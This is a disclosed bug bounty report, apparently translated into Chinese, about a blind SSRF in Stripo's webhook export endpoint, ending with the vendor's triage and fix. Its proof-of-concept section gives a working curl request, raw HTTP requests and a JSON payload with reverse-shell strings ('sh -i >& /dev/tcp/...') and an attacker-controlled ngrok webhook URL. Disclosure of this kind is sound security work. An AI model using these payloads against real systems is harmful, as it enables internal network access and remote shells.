Stripo电子邮件编辑器暴露关键SSRF漏洞，攻击者可发起内部网络请求

Timeline

ID-verified 黑客odaysec向Stripo Inc提交报告。
2025年1月13日，00:09 UTC

漏洞概述

本演示涵盖在Stripo导出服务中发现的一个关键Blind SSRF（服务器端请求伪造）漏洞。SSRF漏洞允许攻击者操纵服务器向内部或外部系统发起任意请求，可能导致严重的安全漏洞。该漏洞存在于端点 /exportservice/v3/exports/WEBHOOK/accounts 中。通过在webhookUrl参数中提供恶意输入，攻击者可以触发SSRF，使服务器向攻击者控制的系统发起未经授权的HTTP请求。

利用详情

概念验证 (PoC)

以下curl命令演示了漏洞利用：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


curl -i -X POST 'https://my.stripo.email/bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412' \
--data '{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}'

生成的HTTP请求

处理时，应用程序会向指定的webhookUrl生成以下HTTP请求：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


POST /webhook/sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.3%2F9001%200%3E%261/ HTTP/1.1
Host: 5290-101-255-157-9.ngrok-free.app
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)
Content-Length: 104
Accept: application/json
Accept-Encoding: gzip,deflate
Traceparent: 00-58ae5f178436f516dfed5bcabe66e0a4-6f1c4d73cae918b9-00
X-Forwarded-For: 54.247.167.106
X-Forwarded-Host: 5290-101-255-157-9.ngrok-free.app
X-Forwarded-Proto: https

通过Burp Suite发起的HTTP请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


POST /bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412 HTTP/1.1
Host: my.stripo.email
Content-Type: application/json
Content-Length: 457

{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}

有效载荷

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


{
 "id": 52027412,
 "name": "sh -i & devtcp192.168.100.3 0&1",
 "oAuthRequired": false,
 "authLink": null,
 "draft": false,
 "destination": "WEBHOOK",
 "properties": {
 "headers": [
 {
 "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
 "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
 }
 ],
 "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
 "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
 "webhookType": "CUSTOM"
 },
 "public": false
}

附件：StripoPOC.mkv (F3939737)

影响

数据泄露：攻击者可以利用SSRF访问敏感的內部网络数据，如云元数据、内部API端点或其他受限服务。
端口扫描
缺失的端点导出邮件信息至Zapier
导出邮件信息至Zapier时允许控制字符
URL未作为webhook/email.tar.gz被过滤
内部资源访问：Blind SSRF允许访问内部服务或端点，绕过网络限制。
链式攻击：可能导致高级利用，例如检索敏感元数据或执行远程命令。

attachments 1个附件：F3939737: StripoPOC.mkv

nikandrov_nikolai (Stripo Inc员工) 将状态更改为 已分类。 2025年1月21日，10:56 UTC

你好 @offensiveops，非常感谢你的报告和贡献。我已为团队创建了任务，以便尽快解决此问题。此致， Stripo开发团队

ID-verified 黑客odaysec 发表评论。 2025年4月23日，07:10 UTC

你好！早上好 @nikandrov_nikolai 我今天在端点 /bapi/exportservice/v3/exports/webhook/accounts/{uid} 上复查了漏洞步骤，注意到问题已修复。我们可以将此报告标记为已解决吗？此致， Zeroday Sec团队

nikandrov_nikolai (Stripo Inc员工) 关闭报告并将状态更改为 已解决。 2025年4月23日，09:36 UTC

odaysec 请求披露此报告。 2025年4月23日，10:05 UTC

nikandrov_nikolai (Stripo Inc员工) 同意披露此报告。 1天前

此报告已被披露。 1天前

报告于 2025年1月13日，00:09 UTC 报告者 odaysec 报告给 Stripo Inc 参与者 报告ID #2932960 状态已解决 严重性 严重 (9 ~ 10) 披露日期 2025年12月1日，08:22 UTC 弱点服务器端请求伪造 (SSRF) CVE ID 无赏金隐藏 账户详情 无